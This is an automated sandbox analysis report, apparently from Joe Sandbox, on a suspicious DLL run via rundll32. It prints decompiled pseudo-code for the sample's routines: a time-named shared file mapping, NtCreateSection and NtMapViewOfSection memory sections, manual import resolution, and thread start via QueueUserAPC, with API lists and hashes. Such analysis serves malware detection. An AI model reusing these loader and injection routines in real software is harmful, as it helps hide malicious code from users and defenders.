Function 6FFA10ED Relevance: 13.6, APIs: 9, Instructions: 81
filetimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 69%

			E6FFA10ED(intOrPtr __edx, long _a4, void** _a8, void** _a12) {
				intOrPtr _v12;
				struct _FILETIME* _v16;
				short _v60;
				struct _FILETIME* _t14;
				intOrPtr _t15;
				long _t18;
				void* _t19;
				void* _t22;
				intOrPtr _t31;
				long _t32;
				void* _t34;

				_t31 = __edx;
				_t14 =  &_v16;
				GetSystemTimeAsFileTime(_t14);
				_push(0x192);
				_push(0x54d38000);
				_push(_v12);
				_push(_v16);
				L6FFA2220();
				_push(_t14);
				_v16 = _t14;
				_t15 =  *0x6ffa41d0;
				_push(_t15 + 0x6ffa505e);
				_push(_t15 + 0x6ffa5054);
				_push(0x16);
				_push( &_v60);
				_v12 = _t31;
				L6FFA221A();
				_t18 = _a4;
				if(_t18 == 0) {
					_t18 = 0x1000;
				}
				_t19 = CreateFileMappingW(0xffffffff, 0x6ffa41c0, 4, 0, _t18,  &_v60); // executed
				_t34 = _t19;
				if(_t34 == 0) {
					_t32 = GetLastError();
				} else {
					if(_a4 != 0 || GetLastError() == 0xb7) {
						_t22 = MapViewOfFile(_t34, 6, 0, 0, 0); // executed
						if(_t22 == 0) {
							_t32 = GetLastError();
							if(_t32 != 0) {
								goto L9;
							}
						} else {
							 *_a8 = _t34;
							 *_a12 = _t22;
							_t32 = 0;
						}
					} else {
						_t32 = 2;
						L9:
						CloseHandle(_t34);
					}
				}
				return _t32;
			}

0x6ffa10ed
0x6ffa10f6
0x6ffa10fa
0x6ffa1100
0x6ffa1105
0x6ffa110a
0x6ffa110d
0x6ffa1110
0x6ffa1115
0x6ffa1116
0x6ffa1119
0x6ffa1124
0x6ffa112b
0x6ffa112f
0x6ffa1131
0x6ffa1132
0x6ffa1135
0x6ffa113a
0x6ffa1144
0x6ffa1146
0x6ffa1146
0x6ffa115a
0x6ffa1160
0x6ffa1164
0x6ffa11b4
0x6ffa1166
0x6ffa116f
0x6ffa1185
0x6ffa118d
0x6ffa119f
0x6ffa11a3
0x00000000
0x00000000
0x6ffa118f
0x6ffa1192
0x6ffa1197
0x6ffa1199
0x6ffa1199
0x6ffa117a
0x6ffa117c
0x6ffa11a5
0x6ffa11a6
0x6ffa11a6
0x6ffa116f
0x6ffa11bc

APIs

GetSystemTimeAsFileTime.KERNEL32(?,00000002,00000000,?,?,?,?,?,?,?,?,?,6FFA17EA,0000000A,?,?), ref: 6FFA10FA
_aulldiv.NTDLL(?,?,54D38000,00000192), ref: 6FFA1110
_snwprintf.NTDLL ref: 6FFA1135
CreateFileMappingW.KERNELBASE(000000FF,6FFA41C0,00000004,00000000,?,?), ref: 6FFA115A
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6FFA17EA,0000000A,?), ref: 6FFA1171
MapViewOfFile.KERNELBASE(00000000,00000006,00000000,00000000,00000000), ref: 6FFA1185
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6FFA17EA,0000000A,?), ref: 6FFA119D
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6FFA17EA,0000000A), ref: 6FFA11A6
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6FFA17EA,0000000A,?), ref: 6FFA11AE

Memory Dump Source

Source File: 00000017.00000002.882437220.000000006FFA1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6FFA0000, based on PE: true

Associated: 00000017.00000002.882429861.000000006FFA0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000017.00000002.882445989.000000006FFA3000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000017.00000002.882458284.000000006FFA5000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000017.00000002.882465797.000000006FFA6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6ffa0000_rundll32.jbxd

Similarity

API ID: ErrorFileLast$Time$CloseCreateHandleMappingSystemView_aulldiv_snwprintf
String ID:
API String ID: 1724014008-0
Opcode ID: dfab742cbf00fdabb4e9e9c6977c5ef6e95fe715dd09c0dbaaafb519c6557402
Instruction ID: 92d45d045020312153f9100dc86cd2a2fdbbc283d696bd6b40702ac6f87e8d1c
Opcode Fuzzy Hash: dfab742cbf00fdabb4e9e9c6977c5ef6e95fe715dd09c0dbaaafb519c6557402
Instruction Fuzzy Hash: B721CFB2600108FFDB12AFA8CC85EDE7BBCEF49364F128126F615D7290D6729954CB60

Uniqueness

Uniqueness Score: -1.00%

Function 6FFA1382 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 72%

			E6FFA1382(intOrPtr* __eax, void** _a4) {
				int _v12;
				void* _v16;
				void* _v20;
				void* _v24;
				int _v28;
				int _v32;
				intOrPtr _v36;
				int _v40;
				int _v44;
				void* _v48;
				void* __esi;
				long _t34;
				void* _t39;
				void* _t47;
				intOrPtr* _t48;

				_t48 = __eax;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_v24 =  *((intOrPtr*)(__eax + 4));
				_v16 = 0;
				_v12 = 0;
				_v48 = 0x18;
				_v44 = 0;
				_v36 = 0x40;
				_v40 = 0;
				_v32 = 0;
				_v28 = 0;
				_t34 = NtCreateSection( &_v16, 0xf001f,  &_v48,  &_v24,  *(__eax + 8), 0x8000000, 0);
				if(_t34 < 0) {
					_t47 =  *((intOrPtr*)(_t48 + 0x18))(_t34);
				} else {
					 *_t48 = _v16;
					_t39 = E6FFA1B4A(_t48,  &_v12); // executed
					_t47 = _t39;
					if(_t47 != 0) {
						 *((intOrPtr*)(_t48 + 0x1c))(_v16);
					} else {
						memset(_v12, 0, _v24);
						 *_a4 = _v12;
					}
				}
				return _t47;
			}

0x6ffa138b
0x6ffa1392
0x6ffa1393
0x6ffa1394
0x6ffa1395
0x6ffa1396
0x6ffa13a7
0x6ffa13ab
0x6ffa13bf
0x6ffa13c2
0x6ffa13c5
0x6ffa13cc
0x6ffa13cf
0x6ffa13d6
0x6ffa13d9
0x6ffa13dc
0x6ffa13df
0x6ffa13e4
0x6ffa141f
0x6ffa13e6
0x6ffa13e9
0x6ffa13ef
0x6ffa13f4
0x6ffa13f8
0x6ffa1416
0x6ffa13fa
0x6ffa1401
0x6ffa140f
0x6ffa140f
0x6ffa13f8
0x6ffa1427

APIs

NtCreateSection.NTDLL(00000002,000F001F,?,?,?,08000000,00000000,74784EE0,00000000,00000000,?), ref: 6FFA13DF

Part of subcall function 6FFA1B4A: NtMapViewOfSection.NTDLL(00000000,000000FF,?,00000000,00000000,?,6FFA13F4,00000002,00000000,?,?,00000000,?,?,6FFA13F4,00000000), ref: 6FFA1B77

memset.NTDLL ref: 6FFA1401

Strings

@, xrefs: 6FFA13CF

Memory Dump Source

Source File: 00000017.00000002.882437220.000000006FFA1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6FFA0000, based on PE: true

Associated: 00000017.00000002.882429861.000000006FFA0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000017.00000002.882445989.000000006FFA3000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000017.00000002.882458284.000000006FFA5000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000017.00000002.882465797.000000006FFA6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6ffa0000_rundll32.jbxd

Similarity

API ID: Section$CreateViewmemset
String ID: @
API String ID: 2533685722-2766056989
Opcode ID: e626fc497942014fb776a75f9bfd3a3f913195e61ff3eac049c0a55d52b94462
Instruction ID: 8c9368ff6a6a11415ea4bf9af88d53ff6a9401a156d897be3f2c83d292c40fb5
Opcode Fuzzy Hash: e626fc497942014fb776a75f9bfd3a3f913195e61ff3eac049c0a55d52b94462
Instruction Fuzzy Hash: B5211AB6D00209EFDB11CFA9C8849DEFBB9EF48354F11852AE605F7210D731AA458FA0

Uniqueness

Uniqueness Score: -1.00%

Function 6FFA1A0A Relevance: 3.1, APIs: 2, Instructions: 92
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E6FFA1A0A(void* __edi, intOrPtr _a4) {
				signed int _v8;
				intOrPtr* _v12;
				_Unknown_base(*)()** _v16;
				signed int _v20;
				signed short _v24;
				struct HINSTANCE__* _v28;
				intOrPtr _t43;
				intOrPtr* _t45;
				intOrPtr _t46;
				struct HINSTANCE__* _t47;
				intOrPtr* _t49;
				intOrPtr _t50;
				signed short _t51;
				_Unknown_base(*)()* _t53;
				CHAR* _t54;
				_Unknown_base(*)()* _t55;
				void* _t58;
				signed int _t59;
				_Unknown_base(*)()* _t60;
				intOrPtr _t61;
				intOrPtr _t65;
				signed int _t68;
				void* _t69;
				CHAR* _t71;
				signed short* _t73;

				_t69 = __edi;
				_v20 = _v20 & 0x00000000;
				_t59 =  *0x6ffa41cc;
				_t43 =  *((intOrPtr*)(_a4 + _t59 * 8 - 0x4d92f9a0));
				if(_t43 != 0) {
					_t45 = _t43 + __edi;
					_v12 = _t45;
					_t46 =  *((intOrPtr*)(_t45 + 0xc));
					if(_t46 != 0) {
						while(1) {
							_t71 = _t46 + _t69;
							_t47 = LoadLibraryA(_t71); // executed
							_v28 = _t47;
							if(_t47 == 0) {
								break;
							}
							_v24 = _v24 & 0x00000000;
							 *_t71 = _t59 - 0x69b25f44;
							_t49 = _v12;
							_t61 =  *((intOrPtr*)(_t49 + 0x10));
							_t50 =  *_t49;
							if(_t50 != 0) {
								L6:
								_t73 = _t50 + _t69;
								_v16 = _t61 + _t69;
								while(1) {
									_t51 =  *_t73;
									if(_t51 == 0) {
										break;
									}
									if(__eflags < 0) {
										__eflags = _t51 - _t69;
										if(_t51 < _t69) {
											L12:
											_t21 =  &_v8;
											 *_t21 = _v8 & 0x00000000;
											__eflags =  *_t21;
											_v24 =  *_t73 & 0x0000ffff;
										} else {
											_t65 = _a4;
											__eflags = _t51 -  *((intOrPtr*)(_t65 + 0x50)) + _t69;
											if(_t51 >=  *((intOrPtr*)(_t65 + 0x50)) + _t69) {
												goto L12;
											} else {
												goto L11;
											}
										}
									} else {
										_t51 = _t51 + _t69;
										L11:
										_v8 = _t51;
									}
									_t53 = _v8;
									__eflags = _t53;
									if(_t53 == 0) {
										_t54 = _v24 & 0x0000ffff;
									} else {
										_t54 = _t53 + 2;
									}
									_t55 = GetProcAddress(_v28, _t54);
									__eflags = _t55;
									if(__eflags == 0) {
										_v20 = _t59 - 0x69b25ec5;
									} else {
										_t68 = _v8;
										__eflags = _t68;
										if(_t68 != 0) {
											 *_t68 = _t59 - 0x69b25f44;
										}
										 *_v16 = _t55;
										_t58 = 0x593682f4 + _t59 * 4;
										_t73 = _t73 + _t58;
										_t32 =  &_v16;
										 *_t32 = _v16 + _t58;
										__eflags =  *_t32;
										continue;
									}
									goto L23;
								}
							} else {
								_t50 = _t61;
								if(_t61 != 0) {
									goto L6;
								}
							}
							L23:
							_v12 = _v12 + 0x14;
							_t46 =  *((intOrPtr*)(_v12 + 0xc));
							if(_t46 != 0) {
								continue;
							} else {
							}
							L26:
							goto L27;
						}
						_t60 = _t59 + 0x964da13a;
						__eflags = _t60;
						_v20 = _t60;
						goto L26;
					}
				}
				L27:
				return _v20;
			}

0x6ffa1a0a
0x6ffa1a13
0x6ffa1a18
0x6ffa1a1e
0x6ffa1a27
0x6ffa1a2d
0x6ffa1a2f
0x6ffa1a32
0x6ffa1a37
0x6ffa1a3e
0x6ffa1a3e
0x6ffa1a42
0x6ffa1a4a
0x6ffa1a4d
0x00000000
0x00000000
0x6ffa1a53
0x6ffa1a5d
0x6ffa1a5f
0x6ffa1a62
0x6ffa1a65
0x6ffa1a69
0x6ffa1a71
0x6ffa1a73
0x6ffa1a76
0x6ffa1ade
0x6ffa1ade
0x6ffa1ae2
0x00000000
0x00000000
0x6ffa1a7b
0x6ffa1a81
0x6ffa1a83
0x6ffa1a96
0x6ffa1a99
0x6ffa1a99
0x6ffa1a99
0x6ffa1a9d
0x6ffa1a85
0x6ffa1a85
0x6ffa1a8d
0x6ffa1a8f
0x00000000
0x00000000
0x00000000
0x00000000
0x6ffa1a8f
0x6ffa1a7d
0x6ffa1a7d
0x6ffa1a91
0x6ffa1a91
0x6ffa1a91
0x6ffa1aa0
0x6ffa1aa3
0x6ffa1aa5
0x6ffa1aac
0x6ffa1aa7
0x6ffa1aa7
0x6ffa1aa7
0x6ffa1ab4
0x6ffa1aba
0x6ffa1abc
0x6ffa1aec
0x6ffa1abe
0x6ffa1abe
0x6ffa1ac1
0x6ffa1ac3
0x6ffa1acb
0x6ffa1acb
0x6ffa1ad0
0x6ffa1ad2
0x6ffa1ad9
0x6ffa1adb
0x6ffa1adb
0x6ffa1adb
0x00000000
0x6ffa1adb
0x00000000
0x6ffa1abc
0x6ffa1a6b
0x6ffa1a6d
0x6ffa1a6f
0x00000000
0x00000000
0x6ffa1a6f
0x6ffa1aef
0x6ffa1aef
0x6ffa1af6
0x6ffa1afb
0x00000000
0x00000000
0x6ffa1b01
0x6ffa1b0c
0x00000000
0x6ffa1b0c
0x6ffa1b03
0x6ffa1b03
0x6ffa1b09
0x00000000
0x6ffa1b09
0x6ffa1a37
0x6ffa1b0d
0x6ffa1b12

APIs

LoadLibraryA.KERNELBASE(?,?,00000000,?,?), ref: 6FFA1A42
GetProcAddress.KERNEL32(?,00000000), ref: 6FFA1AB4

Memory Dump Source

Source File: 00000017.00000002.882437220.000000006FFA1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6FFA0000, based on PE: true

Associated: 00000017.00000002.882429861.000000006FFA0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000017.00000002.882445989.000000006FFA3000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000017.00000002.882458284.000000006FFA5000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000017.00000002.882465797.000000006FFA6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6ffa0000_rundll32.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID:
API String ID: 2574300362-0
Opcode ID: 5e9a7e1b293ecca39a341030d82984fafab6caeb9236e38720624cadfb43478f
Instruction ID: 70dc338726bd95e1eb876735c01060828c232b7a14a41d8befb6b1c64ecf161c
Opcode Fuzzy Hash: 5e9a7e1b293ecca39a341030d82984fafab6caeb9236e38720624cadfb43478f
Instruction Fuzzy Hash: D0311475A0021ADFDB04CFA9C980AAEB7F4FF05355B1241AAD815EB250F732EA40CF90

Uniqueness

Uniqueness Score: -1.00%

Function 6FFA1B4A Relevance: 1.5, APIs: 1, Instructions: 34
nativeCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E6FFA1B4A(void** __esi, PVOID* _a4) {
				long _v8;
				void* _v12;
				void* _v16;
				long _t13;

				_v16 = 0;
				asm("stosd");
				_v8 = 0;
				_t13 = NtMapViewOfSection( *__esi, 0xffffffff, _a4, 0, 0,  &_v16,  &_v8, 2, 0, __esi[2]);
				if(_t13 < 0) {
					_push(_t13);
					return __esi[6]();
				}
				return 0;
			}

0x6ffa1b5c
0x6ffa1b62
0x6ffa1b70
0x6ffa1b77
0x6ffa1b7c
0x6ffa1b82
0x00000000
0x6ffa1b83
0x00000000

APIs

NtMapViewOfSection.NTDLL(00000000,000000FF,?,00000000,00000000,?,6FFA13F4,00000002,00000000,?,?,00000000,?,?,6FFA13F4,00000000), ref: 6FFA1B77

Memory Dump Source

Source File: 00000017.00000002.882437220.000000006FFA1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6FFA0000, based on PE: true

Associated: 00000017.00000002.882429861.000000006FFA0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000017.00000002.882445989.000000006FFA3000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000017.00000002.882458284.000000006FFA5000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000017.00000002.882465797.000000006FFA6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6ffa0000_rundll32.jbxd

Similarity

API ID: SectionView
String ID:
API String ID: 1323581903-0
Opcode ID: 5dd26fff624a50198c0bd826f45a2e4ef6e885f587514f0e64cb0fed618db76f
Instruction ID: 4d5d60b8e22b01e5a460bb98e334ba730d2d521efb878c3d31cfe628ee6648d5
Opcode Fuzzy Hash: 5dd26fff624a50198c0bd826f45a2e4ef6e885f587514f0e64cb0fed618db76f
Instruction Fuzzy Hash: 2AF019B590020CFFD7119FA5CC85C9FBBBDDB44394F104979B151D1050D6319E089A60

Uniqueness

Uniqueness Score: -1.00%

Function 6FFA1E91 Relevance: 9.1, APIs: 6, Instructions: 81
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E6FFA1E91(void* __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr* _a16) {
				intOrPtr _v8;
				_Unknown_base(*)()* _t29;
				_Unknown_base(*)()* _t33;
				_Unknown_base(*)()* _t36;
				_Unknown_base(*)()* _t39;
				_Unknown_base(*)()* _t42;
				intOrPtr _t46;
				struct HINSTANCE__* _t50;
				intOrPtr _t56;

				_t56 = E6FFA1D8B(0x20);
				if(_t56 == 0) {
					_v8 = 8;
				} else {
					_t50 = GetModuleHandleA( *0x6ffa41d0 + 0x6ffa5014);
					_v8 = 0x7f;
					_t29 = GetProcAddress(_t50,  *0x6ffa41d0 + 0x6ffa50e1);
					 *(_t56 + 0xc) = _t29;
					if(_t29 == 0) {
						L8:
						E6FFA1E7C(_t56);
					} else {
						_t33 = GetProcAddress(_t50,  *0x6ffa41d0 + 0x6ffa50f1);
						 *(_t56 + 0x10) = _t33;
						if(_t33 == 0) {
							goto L8;
						} else {
							_t36 = GetProcAddress(_t50,  *0x6ffa41d0 + 0x6ffa5104);
							 *(_t56 + 0x14) = _t36;
							if(_t36 == 0) {
								goto L8;
							} else {
								_t39 = GetProcAddress(_t50,  *0x6ffa41d0 + 0x6ffa5119);
								 *(_t56 + 0x18) = _t39;
								if(_t39 == 0) {
									goto L8;
								} else {
									_t42 = GetProcAddress(_t50,  *0x6ffa41d0 + 0x6ffa512f);
									 *(_t56 + 0x1c) = _t42;
									if(_t42 == 0) {
										goto L8;
									} else {
										 *((intOrPtr*)(_t56 + 8)) = _a8;
										 *((intOrPtr*)(_t56 + 4)) = _a4;
										_t46 = E6FFA1382(_t56, _a12); // executed
										_v8 = _t46;
										if(_t46 != 0) {
											goto L8;
										} else {
											 *_a16 = _t56;
										}
									}
								}
							}
						}
					}
				}
				return _v8;
			}

0x6ffa1e9f
0x6ffa1ea3
0x6ffa1f64
0x6ffa1ea9
0x6ffa1ec1
0x6ffa1ed0
0x6ffa1ed7
0x6ffa1edb
0x6ffa1ede
0x6ffa1f5c
0x6ffa1f5d
0x6ffa1ee0
0x6ffa1eed
0x6ffa1ef1
0x6ffa1ef4
0x00000000
0x6ffa1ef6
0x6ffa1f03
0x6ffa1f07
0x6ffa1f0a
0x00000000
0x6ffa1f0c
0x6ffa1f19
0x6ffa1f1d
0x6ffa1f20
0x00000000
0x6ffa1f22
0x6ffa1f2f
0x6ffa1f33
0x6ffa1f36
0x00000000
0x6ffa1f38
0x6ffa1f3e
0x6ffa1f44
0x6ffa1f49
0x6ffa1f50
0x6ffa1f53
0x00000000
0x6ffa1f55
0x6ffa1f58
0x6ffa1f58
0x6ffa1f53
0x6ffa1f36
0x6ffa1f20
0x6ffa1f0a
0x6ffa1ef4
0x6ffa1ede
0x6ffa1f72

APIs

Part of subcall function 6FFA1D8B: HeapAlloc.KERNEL32(00000000,?,6FFA188E,?,00000000,00000001,?,?,?,6FFA1576), ref: 6FFA1D97

GetModuleHandleA.KERNEL32(?,00000020,00000002,?,?,?,?,6FFA123E,?,?,?,?,00000002,00000000,?,?), ref: 6FFA1EB5
GetProcAddress.KERNEL32(00000000,?), ref: 6FFA1ED7
GetProcAddress.KERNEL32(00000000,?), ref: 6FFA1EED
GetProcAddress.KERNEL32(00000000,?), ref: 6FFA1F03
GetProcAddress.KERNEL32(00000000,?), ref: 6FFA1F19
GetProcAddress.KERNEL32(00000000,?), ref: 6FFA1F2F

Part of subcall function 6FFA1382: NtCreateSection.NTDLL(00000002,000F001F,?,?,?,08000000,00000000,74784EE0,00000000,00000000,?), ref: 6FFA13DF
Part of subcall function 6FFA1382: memset.NTDLL ref: 6FFA1401

Memory Dump Source

Source File: 00000017.00000002.882437220.000000006FFA1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6FFA0000, based on PE: true

Associated: 00000017.00000002.882429861.000000006FFA0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000017.00000002.882445989.000000006FFA3000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000017.00000002.882458284.000000006FFA5000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000017.00000002.882465797.000000006FFA6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6ffa0000_rundll32.jbxd

Similarity

API ID: AddressProc$AllocCreateHandleHeapModuleSectionmemset
String ID:
API String ID: 1632424568-0
Opcode ID: 35487213f554e93643777cb2254bad575d2c631c15d537eb25e917b65957cfe0
Instruction ID: 6c7c67bd14982b55f6ba083089f97e311de28c796a3d9648ca0f48e2f3641bbe
Opcode Fuzzy Hash: 35487213f554e93643777cb2254bad575d2c631c15d537eb25e917b65957cfe0
Instruction Fuzzy Hash: D2215AB560070ADFDB01DF68C880E9A7BFCFF09694B028426F81AC7211E731E9158FA0

Uniqueness

Uniqueness Score: -1.00%

Function 6FFA1DA0 Relevance: 9.1, APIs: 6, Instructions: 71
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 86%

			_entry_(void* __ecx, intOrPtr _a4, char _a8, intOrPtr _a12) {
				long _v8;
				void* __edi;
				void* __esi;
				void* __ebp;
				char _t9;
				void* _t10;
				void* _t18;
				void* _t23;
				void* _t36;

				_push(__ecx);
				_t9 = _a8;
				_v8 = 1;
				if(_t9 == 0) {
					_t10 = InterlockedDecrement(0x6ffa4188);
					__eflags = _t10;
					if(_t10 == 0) {
						__eflags =  *0x6ffa418c;
						if( *0x6ffa418c != 0) {
							_t36 = 0x2328;
							while(1) {
								SleepEx(0x64, 1);
								__eflags =  *0x6ffa4198;
								if( *0x6ffa4198 == 0) {
									break;
								}
								_t36 = _t36 - 0x64;
								__eflags = _t36;
								if(_t36 > 0) {
									continue;
								}
								break;
							}
							CloseHandle( *0x6ffa418c);
						}
						HeapDestroy( *0x6ffa4190);
					}
				} else {
					if(_t9 == 1 && InterlockedIncrement(0x6ffa4188) == 1) {
						_t18 = HeapCreate(0, 0x400000, 0); // executed
						_t41 = _t18;
						 *0x6ffa4190 = _t18;
						if(_t18 == 0) {
							L6:
							_v8 = 0;
						} else {
							 *0x6ffa41b0 = _a4;
							asm("lock xadd [eax], edi");
							_push( &_a8);
							_t23 = E6FFA1D2D(E6FFA149B, E6FFA144A(_a12, 1, 0x6ffa4198, _t41));
							 *0x6ffa418c = _t23;
							if(_t23 == 0) {
								asm("lock xadd [esi], eax");
								goto L6;
							}
						}
					}
				}
				return _v8;
			}

0x6ffa1da3
0x6ffa1daf
0x6ffa1db1
0x6ffa1db4
0x6ffa1e2a
0x6ffa1e30
0x6ffa1e32
0x6ffa1e34
0x6ffa1e3a
0x6ffa1e3c
0x6ffa1e41
0x6ffa1e44
0x6ffa1e4f
0x6ffa1e51
0x00000000
0x00000000
0x6ffa1e53
0x6ffa1e56
0x6ffa1e58
0x00000000
0x00000000
0x00000000
0x6ffa1e58
0x6ffa1e60
0x6ffa1e60
0x6ffa1e6c
0x6ffa1e6c
0x6ffa1db6
0x6ffa1db7
0x6ffa1dd7
0x6ffa1ddd
0x6ffa1ddf
0x6ffa1de4
0x6ffa1e20
0x6ffa1e20
0x6ffa1de6
0x6ffa1dee
0x6ffa1df5
0x6ffa1dff
0x6ffa1e0b
0x6ffa1e12
0x6ffa1e17
0x6ffa1e1c
0x00000000
0x6ffa1e1c
0x6ffa1e17
0x6ffa1de4
0x6ffa1db7
0x6ffa1e79

APIs

InterlockedIncrement.KERNEL32(6FFA4188), ref: 6FFA1DC2
HeapCreate.KERNELBASE(00000000,00400000,00000000), ref: 6FFA1DD7

Part of subcall function 6FFA1D2D: CreateThread.KERNELBASE ref: 6FFA1D44
Part of subcall function 6FFA1D2D: QueueUserAPC.KERNELBASE(?,00000000,?), ref: 6FFA1D59
Part of subcall function 6FFA1D2D: GetLastError.KERNEL32(00000000), ref: 6FFA1D64
Part of subcall function 6FFA1D2D: TerminateThread.KERNEL32(00000000,00000000), ref: 6FFA1D6E
Part of subcall function 6FFA1D2D: CloseHandle.KERNEL32(00000000), ref: 6FFA1D75
Part of subcall function 6FFA1D2D: SetLastError.KERNEL32(00000000), ref: 6FFA1D7E

InterlockedDecrement.KERNEL32(6FFA4188), ref: 6FFA1E2A
SleepEx.KERNEL32(00000064,00000001), ref: 6FFA1E44
CloseHandle.KERNEL32 ref: 6FFA1E60
HeapDestroy.KERNEL32 ref: 6FFA1E6C

Memory Dump Source

Source File: 00000017.00000002.882437220.000000006FFA1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6FFA0000, based on PE: true

Associated: 00000017.00000002.882429861.000000006FFA0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000017.00000002.882445989.000000006FFA3000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000017.00000002.882458284.000000006FFA5000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000017.00000002.882465797.000000006FFA6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6ffa0000_rundll32.jbxd

Similarity

API ID: CloseCreateErrorHandleHeapInterlockedLastThread$DecrementDestroyIncrementQueueSleepTerminateUser
String ID:
API String ID: 2110400756-0
Opcode ID: 22c1a011eef3d9cc4a8a57b404c3e62b4855ba5737fa8becaa160795f7758eeb
Instruction ID: 9b4cd8a0f5edeeab6af3188e2df1190649b5bb8a3bbdea015b534caf91472c27
Opcode Fuzzy Hash: 22c1a011eef3d9cc4a8a57b404c3e62b4855ba5737fa8becaa160795f7758eeb
Instruction Fuzzy Hash: 6D219D31610605EBDF028FA9CCC4A4E7BB8FF56778752802AE515D3260EB32B9208F60

Uniqueness

Uniqueness Score: -1.00%

Function 6FFA1D2D Relevance: 9.0, APIs: 6, Instructions: 32
threadinjectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E6FFA1D2D(long _a4, DWORD* _a12) {
				_Unknown_base(*)()* _v0;
				void* _t4;
				long _t6;
				long _t11;
				void* _t13;

				_t4 = CreateThread(0, 0, __imp__SleepEx,  *0x6ffa41cc, 0, _a12); // executed
				_t13 = _t4;
				if(_t13 != 0) {
					_t6 = QueueUserAPC(_v0, _t13, _a4); // executed
					if(_t6 == 0) {
						_t11 = GetLastError();
						TerminateThread(_t13, _t11);
						CloseHandle(_t13);
						_t13 = 0;
						SetLastError(_t11);
					}
				}
				return _t13;
			}

0x6ffa1d44
0x6ffa1d4a
0x6ffa1d4e
0x6ffa1d59
0x6ffa1d61
0x6ffa1d6a
0x6ffa1d6e
0x6ffa1d75
0x6ffa1d7c
0x6ffa1d7e
0x6ffa1d84
0x6ffa1d61
0x6ffa1d88

APIs

CreateThread.KERNELBASE ref: 6FFA1D44
QueueUserAPC.KERNELBASE(?,00000000,?), ref: 6FFA1D59
GetLastError.KERNEL32(00000000), ref: 6FFA1D64
TerminateThread.KERNEL32(00000000,00000000), ref: 6FFA1D6E
CloseHandle.KERNEL32(00000000), ref: 6FFA1D75
SetLastError.KERNEL32(00000000), ref: 6FFA1D7E

Memory Dump Source

Source File: 00000017.00000002.882437220.000000006FFA1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6FFA0000, based on PE: true

Associated: 00000017.00000002.882429861.000000006FFA0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000017.00000002.882445989.000000006FFA3000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000017.00000002.882458284.000000006FFA5000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000017.00000002.882465797.000000006FFA6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6ffa0000_rundll32.jbxd

Similarity

API ID: ErrorLastThread$CloseCreateHandleQueueTerminateUser
String ID:
API String ID: 3832013932-0
Opcode ID: e8c56b45973bfc823bfca848450333328b84f1469fab449ce72a43468427b6da
Instruction ID: 4b339dd1501ca466043efe3476dac1292b6b113e6c52c4baebf0a4a85d3d665e
Opcode Fuzzy Hash: e8c56b45973bfc823bfca848450333328b84f1469fab449ce72a43468427b6da
Instruction Fuzzy Hash: 00F08232114A20FBCB125FA08C0DF4FBF68FF0A736F018404F61591264D72398349BA1

Uniqueness

Uniqueness Score: -1.00%

Function 6FFEB990 Relevance: 8.8, APIs: 2, Strings: 2, Instructions: 1789sleepCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableW.KERNEL32(70037558,?,0000060C), ref: 6FFECD5C
